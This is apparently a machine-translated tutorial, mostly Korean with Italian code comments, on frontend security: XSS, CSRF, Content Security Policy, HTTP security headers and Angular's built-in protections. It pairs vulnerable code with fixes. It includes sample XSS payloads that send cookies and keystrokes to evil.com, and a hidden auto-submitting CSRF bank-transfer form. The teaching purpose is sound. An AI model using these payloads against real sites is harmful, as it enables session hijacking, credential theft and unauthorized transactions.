02 - XSS, CSRF 및 CSP: 프런트엔드 보안
프런트엔드는 사용자와 애플리케이션 간의 첫 번째 접촉 지점입니다. 각 입력 필드는 모든 URL, 모든 HTTP 요청은 잠재적인 공격 벡터를 나타냅니다. 2025년에는 단일 페이지로 애플리케이션(SPA), 프로그레시브 웹 앱(PWA) 및 하이브리드 SSR/CSR 아키텍처, 공격 표면 프론트엔드의 규모가 엄청나게 확장되었습니다. 프런트엔드 보안을 지배하는 세 가지 약어는 다음과 같습니다. XSS (교차 사이트 스크립팅), CSRF (사이트 간 요청 위조) e CSP (콘텐츠 보안 정책). 이 세 가지 영역을 마스터하는 것은 보호를 의미합니다 사용자가 세션을 도용하고, 승인되지 않은 작업을 수행하고, 주입하는 것을 방지합니다. 악성코드.
이 기사에서는 취약한 코드의 실제 예를 통해 각 공격을 심층적으로 분석합니다. 안전하고 실용적인 구성과 완벽한 체크리스트를 통해 각도 적용.
무엇을 배울 것인가
- 실제 페이로드 예제가 포함된 세 가지 유형의 XSS(Reflected, Stored, DOM 기반)
- CSRF 공격이 작동하는 방식과 쿠키만으로는 충분하지 않은 이유
- Angular, Express 및 Nginx에 대한 실용적인 구성을 갖춘 모든 CSP 지시문
- 필수 보안 HTTP 헤더 및 구성 방법
- Angular에 내장된 XSS 및 CSRF 보호 기능과 이를 비활성화하지 않는 방법
- AI 생성 코드의 86%가 XSS 테스트에 실패하는 이유
- 프런트엔드 보안 테스트를 위한 전문 도구
최신 프런트엔드의 공격 표면
최신 웹 애플리케이션은 더 이상 서버에서 제공하는 단순한 HTML 페이지가 아닙니다. 다음과 같은 SPA Angular, React 또는 Vue로 구축된 제품은 라우팅, 상태, 인증 및 논리를 처리합니다. 브라우저에서 직접 비즈니스를 수행하세요. 이는 표면의 상당 부분을 대체합니다. 서버에서 클라이언트로 공격합니다.
최신 프런트엔드의 주요 공격 벡터는 다음과 같습니다.
- 삭제되지 않은 사용자 입력: 텍스트 필드, URL, 쿼리 문자열, 조각 해시, 쿠키, HTTP 헤더, 파일 업로드, localStorage, WebSocket 메시지
- 동적 DOM 렌더링:
innerHTML,document.write(), 이스케이프되지 않은 템플릿 문자열, 외부 데이터를 기반으로 한 조건부 렌더링 - 타사 종속성: CDN으로 로드된 JavaScript 라이브러리, 분석 스크립트, 소셜 위젯, 외부 글꼴
- 교차 출처 통신: API 요청, postMessage, iframe 임베딩, WebSocket 연결
- 로컬 저장소: localStorage, sessionStorage, IndexedDB에는 악성 스크립트가 액세스할 수 있는 민감한 데이터가 포함될 수 있습니다.
중요 데이터: 프런트엔드 공격 발생률
HackerOne 2025 보고서에 따르면, Cross-Site Scripting은 여전히 가장 큰 취약점으로 남아 있습니다. 보고됨 버그 바운티 프로그램에서는 전체 신고의 18%를 차지합니다. CSRF는 7%로 뒤를 잇습니다. 이 두 공격을 합치면 전체 공격의 4분의 1을 차지합니다. 전문 보안 연구원들이 발견한 취약점.
XSS(교차 사이트 스크립팅): 가장 널리 사용되는 공격
Il XSS(교차 사이트 스크립팅) 공격자가 주입에 성공할 때 발생합니다. 신뢰할 수 있는 웹사이트의 컨텍스트에서 다른 사용자의 브라우저에서 JavaScript 코드를 실행합니다. 공격은 사용자의 브라우저가 사이트에 대해 갖는 신뢰, 즉 삽입된 코드를 이용합니다. runs with the same privileges as the application's legitimate JavaScript, and can therefore 쿠키, 세션, 토큰 및 페이지의 모든 데이터에 액세스합니다.
XSS에는 세 가지 주요 변형이 있으며 각각 다른 주입 메커니즘을 가지고 있습니다.
1. 반영된 XSS(비영구)
Il 반사된 XSS 사용자 입력이 정리되지 않은 서버 HTTP 응답입니다. 악성 페이로드는 URL에 포함되어 있으며 HTML 페이지에 "반영"되었습니다. 공격자는 피해자가 링크를 클릭하도록 설득해야 합니다. 특수 목적(피싱, 소셜 엔지니어링).
// L'attaccante costruisce questo URL e lo invia alla vittima:
https://shop.example.com/search?q=<script>
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
// Il server genera la pagina con il termine di ricerca non sanitizzato:
<h2>Risultati per: <script>fetch('https://evil.com/steal?...')</script></h2>
// Il browser della vittima esegue lo script: il cookie di sessione
// viene inviato al server dell'attaccante
// VULNERABILE: il parametro viene inserito direttamente nell'HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// SICURO: output encoding con escape dei caratteri HTML
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q || '');
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// <script> diventa <script> - non viene eseguito
2. 저장된 XSS(영구)
Lo 저장된 XSS 그리고 가장 위험한 변종. 악성 페이로드가 저장되었습니다 서버 데이터베이스에 영구적으로 저장됩니다(예: 댓글, 사용자 프로필, 메시지) 해당 리소스를 보는 모든 사용자에게 제공됩니다. 이는 다음을 요구하지 않습니다. 피해자가 특수 링크를 클릭하면 오염된 페이지를 방문하기만 하면 됩니다.
// L'attaccante inserisce questo commento nel blog:
const maliciousComment = `
Ottimo articolo!
<img src="x" onerror="
// Keylogger: cattura tutto ciò che l'utente digita
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
">
`;
// VULNERABILE: il commento viene salvato e renderizzato senza sanitizzazione
app.post('/api/comments', async (req, res) => {
await db.comments.insert({
text: req.body.text, // Nessuna sanitizzazione!
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// Nella pagina del blog, il commento viene inserito con innerHTML:
commentDiv.innerHTML = comment.text; // Lo script viene eseguito!
// SICURO: sanitizzazione sia in input che in output
import DOMPurify from 'dompurify';
import { escape as escapeHtml } from 'lodash';
app.post('/api/comments', async (req, res) => {
// Sanitizzazione in input: rimuovi tag pericolosi
const cleanText = DOMPurify.sanitize(req.body.text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
await db.comments.insert({
text: cleanText,
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// In output: usa textContent invece di innerHTML quando possibile
commentDiv.textContent = comment.text;
3. DOM 기반 XSS
Il DOM 기반 XSS 페이로드가 절대 통과하지 않기 때문에 가장 교활합니다.
서버. 공격은 전적으로 브라우저에서 발생합니다. 즉, 페이지의 합법적인 JavaScript 코드입니다.
공격자가 제어하는 소스(URL, 조각 해시, document.referrer,
postMessage) 이를 삭제하지 않고 DOM에 삽입합니다.
// VULNERABILE: legge dal fragment hash e inserisce nel DOM
// URL malevolo: https://app.example.com/#<img src=x onerror=alert(document.cookie)>
const userInput = document.location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(userInput);
// Il browser esegue il codice nell'attributo onerror!
// VULNERABILE: document.referrer usato come sink
document.getElementById('back-link').innerHTML =
'<a href="' + document.referrer + '">Torna indietro</a>';
// document.referrer può contenere payload XSS
// VULNERABILE: postMessage senza validazione dell'origine
window.addEventListener('message', (event) => {
// Accetta messaggi da qualsiasi origine!
document.getElementById('widget').innerHTML = event.data.html;
});
// SICURO: sanitizzazione e validazione
import DOMPurify from 'dompurify';
const userInput = document.location.hash.substring(1);
const decoded = decodeURIComponent(userInput);
document.getElementById('content').textContent = decoded; // textContent, non innerHTML
// SICURO: postMessage con validazione dell'origine
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted.example.com') {
return; // Rifiuta messaggi da origini non fidate
}
const cleanHtml = DOMPurify.sanitize(event.data.html);
document.getElementById('widget').innerHTML = cleanHtml;
});
XSS 공격의 실제 영향
성공적인 XSS 공격은 막대한 피해를 입힐 수 있습니다. 공격자가 한 번에 할 수 있는 작업은 다음과 같습니다. 피해자의 브라우저에서 JavaScript를 실행합니다.
| 공격 유형 | 설명 | 심각성 |
|---|---|---|
| 세션 하이재킹 | 사용자를 사칭하기 위한 세션 쿠키 도용 | 비판 |
| 키로깅 | 사용자가 누르는 모든 키(비밀번호, 신용카드) 캡처 | 비판 |
| 오손 | 페이지에 표시되는 콘텐츠를 변경하여 평판을 훼손하는 행위 | 높은 |
| 피싱 | 자격 증명을 훔치기 위해 가짜 로그인 양식을 주입합니다. | 비판 |
| 암호화폐 채굴 | 피해자의 브라우저에서 암호화폐 채굴기 실행 | 평균 |
| XSS 웜 | 다른 사용자의 프로필을 감염시켜 자가 전파하는 스크립트 | 비판 |
| 데이터 유출 | 페이지에서 민감한 데이터(토큰, 개인 데이터) 읽기 및 보내기 | 비판 |
XSS 예방: 심층 방어
XSS 예방에는 접근 방식이 필요합니다 심층 방어: 의존하지 마세요 single level of defense, but combines multiple complementary techniques. 목표는 다음을 보장하는 것입니다. 신뢰할 수 없는 데이터는 브라우저에서 코드로 해석될 수 없습니다.
1. 출력 인코딩(1차 방어선)
출력 인코딩은 특수 문자를 DOM에 삽입하기 전에 안전한 HTML 엔터티로 변환합니다. 그리고 Reflected 및 Stored XSS에 대한 가장 중요한 방어입니다.
// Contesto HTML: escape dei caratteri HTML
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, (c) => map[c]);
}
// Contesto attributo HTML
// <div title="USER_INPUT">
const safeAttr = escapeHtml(userInput);
// Contesto URL: codifica i parametri
// <a href="/search?q=USER_INPUT">
const safeUrl = encodeURIComponent(userInput);
// Contesto JavaScript: JSON.stringify con escape
// <script>var data = USER_INPUT;</script>
const safeJs = JSON.stringify(userInput);
// Contesto CSS: evita completamente input utente in CSS
// NON fare mai: element.style.background = userInput;
2. DOMPurify를 사용한 입력 삭제
사용자로부터 HTML을 수락해야 하는 경우(서식 있는 텍스트 편집기, 마크다운) 다음을 사용하세요. DOMPurify 위험한 태그나 속성을 제거합니다.
import DOMPurify from 'dompurify';
// Configurazione base: rimuovi tutto il JavaScript
const clean = DOMPurify.sanitize(dirtyHtml);
// Configurazione restrittiva: solo tag formattazione base
const strictClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
// Configurazione per editor rich-text
const richTextClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['h1', 'h2', 'h3', 'p', 'br', 'ul', 'ol', 'li',
'strong', 'em', 'a', 'img', 'blockquote', 'pre', 'code'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i
});
// Hook personalizzato: rimuovi attributi on*
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
if (data.attrName.startsWith('on')) {
data.keepAttr = false; // Rimuovi onclick, onerror, onload, etc.
}
});
3. Angular의 XSS 보호
Angular는 강력한 내장형 XSS 보호 기능을 제공합니다. The framework deals with 모든 값 기본적으로 신뢰할 수 없음 DOM에 삽입하기 전에 자동으로 삭제합니다. 이 보호는 보간, 속성 바인딩 및 속성 바인딩에 적용됩니다.
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- SICURO: Angular esegue l'escape automaticamente -->
<p>Commento: {{ userComment }}</p>
<!-- SICURO: Angular sanitizza innerHTML automaticamente -->
<div [innerHTML]="userComment"></div>
<!-- <script> e onerror vengono rimossi automaticamente -->
<!-- SICURO: textContent non interpreta HTML -->
<div [textContent]="userComment"></div>
<!-- PERICOLOSO: bypass del sanitizer -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class CommentComponent {
userComment = '<script>alert("XSS")</script><b>Testo</b>';
trustedHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
// bypassSecurityTrustHtml: SOLO per contenuto che controlli al 100%
// Mai usarlo con input utente!
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(
'<div class="safe-content">Contenuto controllato internamente</div>'
);
}
}
Angular가 당신을 보호하지 못할 때
- 사용
bypassSecurityTrustHtml/Script/Style/Url/ResourceUrl사용자 데이터로 - 직접 DOM 조작
ElementRef.nativeElement.innerHTML - 사용
document.write()oeval() - 동적 URL 구성
javascript:규약 - 인코딩 없는 서버 측 렌더링(Angular Universal 사용자 정의 템플릿)
4. React JSX 자동 이스케이프
React는 내장된 XSS 보호 기능도 제공합니다. JSX는 자동으로 모두 이스케이프됩니다.
렌더링된 값. 유일한 예외는 소품입니다. dangerouslySetInnerHTML, 그
보호를 우회합니다(이름 자체는 경고입니다).
// SICURO: JSX esegue l'escape automaticamente
function SafeComponent({ userInput }: { userInput: string }) {
return <p>{userInput}</p>; // <script> diventa testo visibile
}
// PERICOLOSO: bypassa la protezione di React
function UnsafeComponent({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// Se html contiene <script>, viene eseguito!
}
// SICURO: sanitizza prima di usare dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function SafeRichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
CSRF(교차 사이트 요청 위조): 보이지 않는 공격
Il CSRF(사이트 간 요청 위조) 브라우저를 강제로 실행하는 공격 인증된 사용자가 이미 로그인되어 있는 사이트에 의도하지 않은 요청을 보내는 경우 XSS와 달리 CSRF는 피해자 사이트에 코드를 삽입하지 않습니다. 각 요청과 함께 세션 쿠키를 연결된 도메인에 자동으로 보냅니다. 요청을 생성한 사이트에 관계없이.
CSRF 공격의 작동 방식
CSRF 공격의 흐름은 다음 단계를 따릅니다.
- 사용자가 인증합니다 su
bank.example.com세션 쿠키를 받습니다. - 사용자가 악성 사이트를 방문합니다. (
evil.example.com) 다른 탭에서 - 악성 사이트에는 다음이 포함되어 있습니다. 요청을 생성하는 숨겨진 양식이나 이미지
bank.example.com - 브라우저가 자동으로 전송합니다. 요청이 포함된 사용자의 세션 쿠키
- 은행 서버 합법적인 것처럼 보이는 요청을 받고 이를 실행합니다.
<!-- Pagina malevola su evil.example.com -->
<html>
<body>
<h1>Congratulazioni! Hai vinto un premio!</h1>
<!-- Form nascosto che effettua un bonifico -->
<form id="csrf-form"
action="https://bank.example.com/api/transfer"
method="POST"
style="display:none">
<input name="to" value="attacker-account-123" />
<input name="amount" value="10000" />
<input name="currency" value="EUR" />
</form>
<!-- Il form viene inviato automaticamente -->
<script>document.getElementById('csrf-form').submit();</script>
<!-- Alternativa: immagine che genera una GET (meno pericolosa) -->
<img src="https://bank.example.com/api/transfer?to=attacker&amount=1000"
style="display:none" />
</body>
</html>
쿠키가 충분하지 않기 때문에
쿠키는 쿠키를 보내는 도메인에 대한 각 요청과 함께 브라우저에 의해 자동으로 전송됩니다. 발행했습니다. 서버는 합법적인 요청과 CSRF 전용 요청을 구별할 수 없습니다. 쿠키를 보면 둘 다 유효한 세션 쿠키가 포함되어 있습니다. 메커니즘이 필요합니다 요청이 합법적인 사이트에서 왔는지 확인하기 위해 추가로 수행됩니다.
CSRF 예방: 4가지 기본 기술
1. SameSite 쿠키 속성
속성 SameSite 쿠키와 가장 현대적이고 효과적인 CSRF 방어에 관한 것입니다.
브라우저가 크로스 사이트 요청과 함께 쿠키를 보내는 시기를 제어합니다.
| SameSite 값 | 행동 | CSRF 보호 |
|---|---|---|
Strict |
동일한 사이트 요청에 대해서만 쿠키가 전송됩니다. 일반 링크의 경우에도 교차 사이트 요청에 대해 전송되지 않음 | 최고 |
Lax |
최상위 탐색 GET(링크)에는 쿠키가 전송되지만 POST, iframe 또는 사이트 간 AJAX 요청에는 전송되지 않습니다. | 좋음(Chrome에서는 기본값) |
None |
쿠키는 항상 전송됩니다(필수 Secure). 합법적인 사이트 간 통합에 필요 |
없음 |
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET!,
cookie: {
httpOnly: true, // Non accessibile da JavaScript
secure: true, // Solo HTTPS
sameSite: 'lax', // Protezione CSRF
maxAge: 3600000, // 1 ora
domain: '.example.com',
path: '/'
},
resave: false,
saveUninitialized: false
}));
2. 싱크로나이저 토큰 패턴(CSRF 토큰)
고전적이고 가장 강력한 패턴: 서버는 세션당 고유한 무작위 토큰을 생성합니다. 양식에 숨겨진 필드로 포함하고 각 POST 요청에서 이를 확인합니다. 악성 사이트 합법적인 사이트의 DOM에 접근할 수 없기 때문에 토큰을 알 수 없습니다.
import crypto from 'crypto';
// Middleware: genera il CSRF token e lo salva nella sessione
function csrfTokenMiddleware(req: Request, res: Response, next: NextFunction) {
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
// Rendi il token disponibile nei template
res.locals.csrfToken = req.session.csrfToken;
next();
}
// Middleware: verifica il CSRF token nelle richieste POST/PUT/DELETE
function csrfValidation(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const token = req.body._csrf || req.headers['x-csrf-token'];
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Token CSRF non valido' });
}
}
next();
}
// Nel form HTML:
// <input type="hidden" name="_csrf" value="TOKEN_GENERATO">
3. 쿠키 패턴 이중 제출
상태 비저장 대안: 서버는 CSRF 토큰을 쿠키와 양식 필드로 보냅니다. 수령 후 두 값이 모두 일치하는지 확인하세요. 악성 사이트에서 다음을 보낼 수 있습니다. 쿠키(브라우저가 이 작업을 자동으로 수행함)에 대한 쿠키 값을 읽을 수 없습니다. 요청 본문에 포함하세요.
import crypto from 'crypto';
// Il server genera il token e lo invia come cookie
function setDoubleSubmitToken(req: Request, res: Response, next: NextFunction) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrf-token', token, {
httpOnly: false, // Il JavaScript del sito deve poterlo leggere
secure: true,
sameSite: 'lax',
path: '/'
});
next();
}
// Validazione: il valore nel cookie deve corrispondere a quello nell'header
function validateDoubleSubmit(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
}
next();
}
4. 원본/리퍼러 헤더 유효성 검사
헤더를 확인하세요. Origin o Referer 요청의 해당
사이트 도메인에. 그리고 이러한 헤더는 기본이 아닌 추가 방어입니다.
일부 상황에서는 존재하지 않습니다.
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://www.example.com'
];
function validateOrigin(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const origin = req.headers.origin || req.headers.referer;
if (!origin) {
// Fail-closed: se manca l'origin, rifiuta la richiesta
return res.status(403).json({ error: 'Origin header mancante' });
}
const requestOrigin = new URL(origin).origin;
if (!ALLOWED_ORIGINS.includes(requestOrigin)) {
return res.status(403).json({ error: 'Origin non autorizzato' });
}
}
next();
}
Angular의 CSRF 보호
Angular는 다음을 통해 내장 CSRF 지원을 제공합니다. HttpClient. 서버에서 보내면
쿠키 XSRF-TOKEN, Angular는 자동으로 이를 읽고 헤더로 포함합니다.
X-XSRF-TOKEN 각 변경 요청(POST, PUT, DELETE, PATCH)에서.
// app.config.ts - Angular legge XSRF-TOKEN e invia X-XSRF-TOKEN automaticamente
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN', // Nome del cookie (default)
headerName: 'X-XSRF-TOKEN' // Nome dell'header (default)
})
)
]
};
// Server Express: imposta il cookie XSRF-TOKEN
import csurf from 'csurf';
app.use(csurf({
cookie: {
key: 'XSRF-TOKEN',
httpOnly: false, // Angular deve poterlo leggere
secure: true,
sameSite: 'lax'
}
}));
콘텐츠 보안 정책(CSP): XSS에 대한 궁극적인 방어
La 콘텐츠 보안 정책(CSP) 확인할 수 있는 HTTP 헤더
브라우저가 로드하고 실행할 수 있는 리소스 그리고 XSS에 대한 가장 강력한 방어책은 다음과 같습니다.
브라우저 수준에서 작동합니다. 공격자가 브라우저 수준을 주입하더라도 <script>
DOM에서 CSP 정책에 따라 승인되지 않은 경우 브라우저는 실행을 거부합니다.
CSP는 다음의 원칙에 따라 작동합니다. 화이트리스트: 어떤 것을 명시적으로 정의합니다. 소스는 각 리소스 유형(스크립트, 스타일, 이미지, 글꼴, 연결)에 대해 승인됩니다. 명시적으로 허용되지 않은 것은 모두 차단됩니다.
헤더와 메타 태그를 통한 CSP
// 1. Header HTTP (preferito - più sicuro, supporta report-uri)
Content-Security-Policy: default-src 'self'; script-src 'self'
// 2. Meta tag HTML (fallback se non puoi controllare gli header)
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
// NOTA: il meta tag NON supporta frame-ancestors e report-uri
자세한 CSP 지침
| 지령 | 확인하다 | Esempio |
|---|---|---|
default-src |
기타 모든 지정되지 않은 지시어에 대한 대체 | 'self' |
script-src |
자바스크립트 스크립트 소스 | 'self' 'nonce-abc123' |
style-src |
CSS 스타일 시트 소스 | 'self' https://fonts.googleapis.com |
img-src |
이미지 출처 | 'self' data: https: |
connect-src |
가져오기, XHR, WebSocket, EventSource용 URL | 'self' https://api.example.com |
font-src |
글꼴 소스 | 'self' https://fonts.gstatic.com |
frame-src |
iframe 소스 | 'none' |
frame-ancestors |
iframe에 페이지를 삽입할 수 있는 사람 | 'none' (클릭재킹 방지) |
base-uri |
태그의 유효한 URL <base> |
'self' |
form-action |
양식의 작업 속성에 대한 유효한 URL | 'self' |
object-src |
플러그인 소스(Flash, Java Applet) | 'none' |
Nonce 및 엄격한 동적: 최신 CSP
시스템 nonce 특정 스크립트를 인증하는 가장 안전한 방법입니다. 서버
각 요청에 대해 임의의 값을 생성하고 이를 CSP 헤더와 속성 모두에 포함합니다.
스크립트 논스. 올바른 nonce가 있는 스크립트만 실행됩니다.
import crypto from 'crypto';
// Middleware Express: genera un nonce per ogni richiesta
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
"object-src 'none'"
].join('; '));
next();
});
// Nel template HTML:
// <script nonce="NONCE_GENERATO">...codice legittimo...</script>
// Con 'strict-dynamic': gli script caricati da script con nonce
// sono automaticamente autorizzati (cascading trust)
스크립트에 'unsafe-inline'을 피하는 이유
지시어 'unsafe-inline' in script-src 거의 취소되네
XSS에 대한 완벽한 CSP 보호. 모든 스크립트 실행 허용
공격자가 주입한 것을 포함하여 인라인입니다. 인라인 스크립트가 필요한 경우 다음을 사용하세요.
목하 o 해시시 대신에 'unsafe-inline'.
스타일의 경우, 'unsafe-inline' 종종 필요하고 덜 위험합니다.
CSP 보고 전용 모드
프로덕션에서 CSP를 활성화하기 전에 다음을 사용하십시오. Content-Security-Policy-Report-Only 에 대한
위반을 차단하지 않고 모니터링합니다. 이를 통해 문제를 식별하고 해결할 수 있습니다.
정책을 적용하기 전의 호환성 문제.
// Report-Only: monitora senza bloccare
res.setHeader('Content-Security-Policy-Report-Only',
"default-src 'self'; " +
"script-src 'self'; " +
"report-uri /api/csp-report; " +
"report-to csp-endpoint"
);
// Endpoint per ricevere i report di violazione
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }),
(req, res) => {
const violation = req.body['csp-report'];
console.log('CSP Violation:', {
documentUri: violation['document-uri'],
violatedDirective: violation['violated-directive'],
blockedUri: violation['blocked-uri'],
sourceFile: violation['source-file'],
lineNumber: violation['line-number']
});
res.status(204).end();
}
);
실용적인 CSP: 실제 환경을 위한 구성
Express.js를 사용한 Angular용 CSP 설정
import helmet from 'helmet';
import crypto from 'crypto';
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
(req, res) => `'nonce-${res.locals.cspNonce}'`,
"'strict-dynamic'",
"https://www.googletagmanager.com"
],
styleSrc: [
"'self'",
"'unsafe-inline'", // Necessario per Angular styles
"https://fonts.googleapis.com"
],
imgSrc: ["'self'", "data:", "https:"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
connectSrc: [
"'self'",
"https://api.example.com",
"https://www.google-analytics.com"
],
frameAncestors: ["'none'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
crossOriginEmbedderPolicy: false
}));
Nginx에 대한 CSP 구성
server {
listen 443 ssl http2;
server_name example.com;
# Content Security Policy
add_header Content-Security-Policy
"default-src 'self'; "
"script-src 'self' https://www.googletagmanager.com; "
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; "
"img-src 'self' data: https:; "
"font-src 'self' https://fonts.gstatic.com; "
"connect-src 'self' https://api.example.com; "
"frame-ancestors 'none'; "
"base-uri 'self'; "
"form-action 'self'; "
"object-src 'none'; "
"upgrade-insecure-requests"
always;
# Altri header di sicurezza (vedi sezione dedicata)
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}
HTTP 헤더 보안 필수 사항
CSP 외에도 보안을 크게 강화하는 다른 HTTP 헤더가 있습니다. 귀하의 신청서. 각각은 특정 유형의 공격으로부터 보호합니다.
| 헤더 | 권장값 | 보호 |
|---|---|---|
X-Frame-Options |
DENY |
클릭재킹 방지(iframe 임베딩) |
X-Content-Type-Options |
nosniff |
MIME 스니핑 방지(브라우저가 콘텐츠 유형을 추측하지 않음) |
Strict-Transport-Security |
max-age=31536000; includeSubDomains; preload |
향후 모든 연결에 대해 강제 HTTPS(HSTS) |
Referrer-Policy |
strict-origin-when-cross-origin |
Referer 헤더에 전송되는 정보를 제어합니다. |
Permissions-Policy |
camera=(), microphone=(), geolocation=() |
불필요한 브라우저 API 비활성화 |
X-XSS-Protection |
0 |
브라우저 레거시 XSS 필터 비활성화(취약점이 발생할 수 있음) |
Cross-Origin-Opener-Policy |
same-origin |
교차 원본 문서에서 탐색 컨텍스트를 분리합니다. |
Cross-Origin-Resource-Policy |
same-origin |
자산의 출처 간 로드를 방지합니다. |
import helmet from 'helmet';
app.use(helmet({
// CSP (configurata separatamente per il nonce)
contentSecurityPolicy: false,
// Previeni clickjacking
frameguard: { action: 'deny' },
// Previeni MIME sniffing
noSniff: true,
// HSTS: forza HTTPS per 1 anno
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
// Referrer Policy
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
// Disabilita il filtro XSS legacy (può essere sfruttato)
xssFilter: false,
// Cross-Origin policies
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy (non gestito da Helmet)
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(), payment=()');
next();
});
헤더 테스트
헤더를 구성한 후 다음 무료 도구를 사용하여 결과를 확인하세요.
- securityheaders.com - A-F 등급의 전체 HTTP 헤더 분석
- observatory.mozilla.org - Mozilla 보안 스캐너
- csp-evaluator.withgoogle.com - Google CSP 특정 유효성 검사기
Angular의 보안: 통합 보호
Angular는 개발자를 보호하는 강력한 보안 시스템을 구현합니다. 가장 일반적인 취약점. 비활성화하지 않도록 작동 방식을 이해하는 것이 중요합니다. 우연히.
DOM 자동 삭제
Angular는 값을 5가지로 분류합니다. 보안 컨텍스트, 그리고 적용 각각 다른 위생 처리:
| 문맥 | 우회 방법 | 언제 사용하는가 |
|---|---|---|
| HTML | bypassSecurityTrustHtml() |
신뢰할 수 있는 CMS의 HTML 콘텐츠 |
| 스타일 | bypassSecurityTrustStyle() |
내부적으로 계산된 동적 스타일 |
| URL | bypassSecurityTrustUrl() |
내부 로직으로 구성된 URL |
| 리소스 URL | bypassSecurityTrustResourceUrl() |
신뢰할 수 있는 CDN의 스크립트/iframe에 대한 URL |
| 스크립트 | bypassSecurityTrustScript() |
거의 없음 - 매우 위험함 |
import { Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
@Component({
selector: 'app-safe-content',
template: `
<!-- SICURO: Angular sanitizza automaticamente -->
<div [innerHTML]="htmlContent"></div>
<!-- SICURO: textContent non interpreta HTML -->
<span [textContent]="userInput"></span>
<!-- SICURO con bypass controllato -->
<iframe [src]="safeSrc"></iframe>
<!-- PERICOLOSO: non fare mai questo -->
<div [innerHTML]="unsafeBypass"></div>
`
})
export class SafeContentComponent {
private sanitizer = inject(DomSanitizer);
htmlContent = '<b>Bold</b><script>alert(1)</script>';
// Angular rimuove <script>, mantiene <b>
userInput = '<script>alert(1)</script>';
// Renderizzato come testo visibile
// SICURO: URL hardcoded e fidato
safeSrc = this.sanitizer.bypassSecurityTrustResourceUrl(
'https://www.youtube.com/embed/video-id'
);
// PERICOLOSO: MAI con input utente
unsafeBypass = this.sanitizer.bypassSecurityTrustHtml(
this.getUserInput() // Potrebbe contenere XSS!
);
private getUserInput(): string {
return ''; // Simulazione
}
}
HttpClient XSRF 보호
형태 HttpClient Angular는 기본적으로 다음을 통해 CSRF 보호를 지원합니다.
